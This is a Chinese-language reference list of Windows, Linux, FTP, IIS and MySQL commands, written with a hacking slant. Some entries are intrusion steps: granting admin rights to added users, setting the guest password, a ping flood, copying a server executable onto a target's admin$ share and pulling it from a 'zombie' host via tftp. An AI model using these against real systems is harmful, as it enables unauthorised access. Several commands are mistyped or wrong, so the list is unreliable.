net user 查看有哪些用戶 net user 賬戶名 查看賬戶的屬性 net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具備管理員權限,注意:administrator後加s用複數 net start 查看開啓了哪些服務 net start 服務名 開啓服務;(如:net start telnet, net start schedule) net stop 服務名 中止某服務 net time \\目標ip 查看對方時間 net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息 net view 查看本地局域網內開啓了哪些共享 net view \\ip 查看對方局域網內開啓了哪些共享 net config 顯示系統網絡設置 net logoff 斷開鏈接的共享 net pause 服務名 暫停某服務 net send ip "文本信息" 向對方發信息 net ver 局域網內正在使用的網絡鏈接類型和信息 net share 查看本地開啓的共享 net share ipc$ 開啓ipc$共享 net share ipc$ /del 刪除ipc$共享 net share c$ /del 刪除C:共享 net user guest 12345 用guest用戶登錄後用將密碼改成12345 net password 密碼 更改系統登錄密碼 netstat -a 查看開啓了哪些端口,經常使用netstat -an netstat -n 查看端口的網絡鏈接狀況,經常使用netstat -an netstat -v 查看正在進行的工做 netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用狀況(查看tcp/ip協議使用狀況) netstat -s 查看正在使用的全部協議使用狀況 nbtstat -A ip 對方136到139其中一個端口開了的話,就可查看對方最近登錄的用戶名(03前的爲用戶名)-注意:參數-A要大寫 tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。 ping ip(或域名) 向對方主機發送默認大小爲32字節的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。 ping -t -l 65550 ip 死亡之ping(發送大於K的文件並一直ping就成了死亡之ping) ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示所有配置信息 tlist -t 以樹行列表顯示進程(爲系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內) kill -F 進程名 加-F參數後強制結束某進程(爲系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內) del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔之外的文件。例如「DEL/AR *.*」表示刪除當前目錄下全部只讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件之外的全部文件 del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的全部子目錄和文件。同時使用參數/Q 可取消刪除操做時的系統確認就直接刪除。(二個命令做用相同) move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋 fc one.txt two.txt > 3st.txt 對比二個文件並把不一樣之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令 at id號 開啓已註冊的某個計劃任務 at /delete 中止全部計劃任務,用參數/yes則不須要確認就直接中止 at id號 /delete 中止某個已註冊的計劃任務 at 查看全部的計劃任務 at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並從新啓動計算機 finger username @host 查看最近有哪些用戶登錄 telnet ip 端口 遠和登錄服務器,默認端口爲23 open ip 鏈接到IP(屬telnet登錄後的命令) telnet 在本機上直接鍵入telnet 將進入本機的telnet copy 路徑\文件名1 路徑\文件名2 /y 複製文件1到指定的目錄爲文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件 copy c:\srv.exe \\ip\admin$ 複製本地c:\srv.exe到對方的admin下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件 copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共享下的srv.exe文件(全部文件)至本地C: xcopy 要複製的文件或目錄樹 目標地址\目錄名 複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件 tftp -i 本身IP(用肉機做跳板時這用肉機IP) get server.exe c:\server.exe 登錄後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送 tftp -i 對方IP put c:\server.exe 登錄後,上傳本地c:\server.exe至主機 ftp ip 端口 用於上傳文件至服務器或進行文件操做,默認端口爲21。bin指用二進制方式傳送(可執行文件進);默認爲ASCII格式傳送(文本文件時) route print 顯示出IP路由,將主要顯示網絡地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Interface arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出所有信息 start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令 mem 查看cpu使用狀況 attrib 文件名(目錄名) 查看某文件(目錄)的屬性 attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加爲某屬性 dir 查看文件,參數:/Q顯示文件及目錄屬系統哪一個用戶,/T:C顯示文件建立時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間 date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而沒必要輸入新日期和時間 set 指定環境變量名稱=要指派給變量的字符 設置環境變量 set 顯示當前全部的環境變量 set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的全部環境變量 pause 暫停批處理程序,並顯示出:請按任意鍵繼續.... if 在批處理程序中執行條件處理(更多說明見if命令及變量) goto 標籤 將cmd.exe導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:「:start」標籤) call 路徑\批處理文件名 從批處理程序中調用另外一個批處理程序 (更多說明見call /?) for 對一組文件中的每個文件執行某個特定命令(更多說明見for命令及變量) echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置 echo 信息 在屏幕上顯示出信息 echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中 findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello find 文件名 查找某文件 title 標題名字 更改CMD窗口標題名字 color 顏色值 設置cmd控制檯前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白 prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改成:EntSky\ ) print 文件名 打印文本文件 2ver 在DOS窗口下顯示版本信息 winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名) format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT3二、NTFS ,例:Format D: /FS:NTFS md 目錄名 建立目錄 replace 源文件 要替換文件的目錄 替換文件 ren 原文件名 新文件名 重命名文件名 tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱 type 文件名 顯示文本文件的內容 more 文件名 逐屏顯示輸出文件 doskey 要鎖定的命令=字符 doskey 要解鎖命令= 爲DOS提供的鎖定命令(編輯命令行,從新調用win2k命令,並建立宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir= taskmgr 調出任務管理器 chkdsk /F D: 檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤 tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就能夠更改telnet服務默認端口23爲其它任何端口 exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe path 路徑\可執行文件的文件名 爲可執行文件設置一個路徑。 cmd 啓動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啓命令擴展;更我詳細說明見cmd /? regedit /s 註冊表文件名 導入註冊表;參數/S指安靜模式導入,無任何提示; regedit /e 註冊表文件名 導出註冊表 cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問權限;/G 用戶名:perm 賦予指定用戶訪問權限;Perm 能夠是: N 無,R 讀取, W 寫入, C 更改(寫入),F 徹底控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。 cacls 文件名 查看文件的訪問用戶權限列表 REM 文本內容 在批處理文件中添加註解 netsh 查看或更改本地網絡配置狀況 IIS服務命令: iisreset /reboot 重啓win2k計算機(但有提示系統將重啓信息出現) iisreset /start或stop 啓動(中止)全部Internet服務 iisreset /restart 中止而後從新啓動全部Internet服務 iisreset /status 顯示全部Internet服務狀態 iisreset /enable或disable 在本地系統上啓用(禁用)Internet服務的從新啓動 iisreset /rebootonerror 當啓動、中止或從新啓動Internet服務時,若發生錯誤將從新開機 iisreset /noforce 若沒法中止Internet服務,將不會強制終止Internet服務 iisreset /timeout Val在到達逾時間(秒)時,仍未中止Internet服務,若指定/rebootonerror參數,則電腦將會從新開機。預設值爲從新啓動20秒,中止60秒,從新開機0秒。 FTP 命令: (後面有詳細說明內容) ftp的命令行格式爲: ftp -v -d -i -n -g[主機名] -v 顯示遠程服務器的全部響應信息。 -d 使用調試方式。 -n 限制ftp的自動登陸,即不使用.netrc文件。 -g 取消全局文件名。 help [命令] 或 /?[命令] 查看命令說明 bye 或 quit 終止主機FTP進程,並退出FTP管理方式. pwd 列出當前遠端主機目錄 put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中 get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中 mget [remote-files] 從遠端主機接收一批文件至本地主機 mput local-files 將本地主機中一批文件傳送至遠端主機 dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.若是有本地文件,就將結果寫至本地文件 ascii 設定以ASCII方式傳送文件(缺省值) bin 或 image 設定以二進制方式傳送文件 bell 每完成一次文件傳送,報警提示 cdup 返回上一級目錄 close 中斷與遠程服務器的ftp會話(與open對應) open host[port] 創建指定ftp服務器鏈接,可指定鏈接端口 delete 刪除遠端主機中的文件 mdelete [remote-files] 刪除一批文件 mkdir directory-name 在遠端主機中創建目錄 rename [from] [to] 改變遠端主機中的文件名 rmdir directory-name 刪除遠端主機中的目錄 status 顯示當前FTP的狀態 system 顯示遠端主機系統類型 user user-name [password] [account] 從新以別的用戶名登陸遠端主機 open host [port] 從新創建一個新的鏈接 prompt 交互提示模式 macdef 定義宏命令 lcd 改變當前本地主機的工做目錄,若是缺省,就轉到當前用戶的HOME目錄 chmod 改變遠端主機的文件權限 case 當爲ON時,用MGET命令拷貝的文件名到本地機器中,所有轉換爲小寫字母 cd remote-dir 進入遠程主機目錄 cdup 進入遠程主機目錄的父目錄 ! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip MYSQL 命令: mysql -h主機地址 -u用戶名 -p密碼 鏈接MYSQL;若是剛安裝好MYSQL,超級用戶root是沒有密碼的。 (例:mysql -h110.110.110.110 -Uroot -P123456 注:u與root能夠不用加空格,其它也同樣) exit 退出MYSQL mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼 grant select on 數據庫.* to 用戶名@登陸主機 identified by \"密碼\"; 增長新用戶。(注意:和上面不一樣,下面的由於是MYSQL環境中的命令,因此後面都帶一個分號做爲命令結束符) show databases; 顯示數據庫列表。剛開始時才兩個數據庫:mysql和test。mysql庫很重要它裏面有MYSQL的系統信息,咱們改密碼和新增用戶,實際上就是用這個庫進行操做。 use mysql; show tables; 顯示庫中的數據表 describe 表名; 顯示數據表的結構 create database 庫名; 建庫 use 庫名; create table 表名 (字段設定列表); 建表 drop database 庫名; drop table 表名; 刪庫和刪表 delete from 表名; 將表中記錄清空 select * from 表名; 顯示錶中的記錄 mysqldump --opt school>school.bbb 備份數據庫:(命令在DOS的\\mysql\\bin目錄下執行);註釋:將數據庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。 win2003系統下新增命令(實用部份): shutdown /參數 關閉或重啓本地或遠程主機。 參數說明:/S 關閉主機,/R 重啓主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。 例:shutdown /r /t 0 當即重啓本地主機(無延時) taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。 參數說明:/PID 要終止進程的pid,可用tasklist命令得到各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啓動的子進程。 tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。 參數說明:/M 列出當前進程加載的dll文件,/SVC 顯示出每一個進程對應的服務,無參數時就只列出當前的進程。 Linux系統下基本命令: 要區分大小寫 uname 顯示版本信息(同win2K的 ver) dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir) pwd 查詢當前所在的目錄位置 cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。 cat 文件名 查看文件內容 cat >abc.txt 往abc.txt文件中寫上內容。 more 文件名 以一頁一頁的方式顯示一個文本文件。 cp 複製文件 mv 移動文件 rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄 mkdir 目錄名 創建目錄 rmdir 刪除子目錄,目錄內沒有文檔。 chmod 設定檔案或目錄的存取權限 grep 在檔案中查找字符串 diff 檔案文件比較 find 檔案搜尋 date 如今的日期、時間 who 查詢目前和你使用同一臺機器的人以及Login時間地點 w 查詢目前上機者的詳細資料 whoami 查看本身的賬號名稱 groups 查看某人的Group passwd 更改密碼 history 查看本身下過的命令 ps 顯示進程狀態 kill 中止某進程 gcc 黑客一般用它來編譯C語言寫的文件 su 權限轉換爲指定使用者 telnet IP telnet鏈接對方主機(同win2K),當出現bash$時就說明鏈接成功。 ftp ftp鏈接上某服務器(同win2K) Windows 排程範例 若要在 Windows 系統上啟動自動化的備份工做,排程服務必須執行中。您能夠利用下列指令來啟動這個服務: net start schedule 若是排程服務正在執行中,則工做能夠利用 at 指令來加以排程,這個指令是用來呼叫批次檔 backup.cmd (backup.cmd 的內容能夠在Windows 的備份排程元素找到)。若是您想要在每個星期五的下午 8 點整執行這個指令,則必須呼叫下列指令: at 20:00 /every:f cmd /c c::\db2\C21\sapscripts\backup.cmd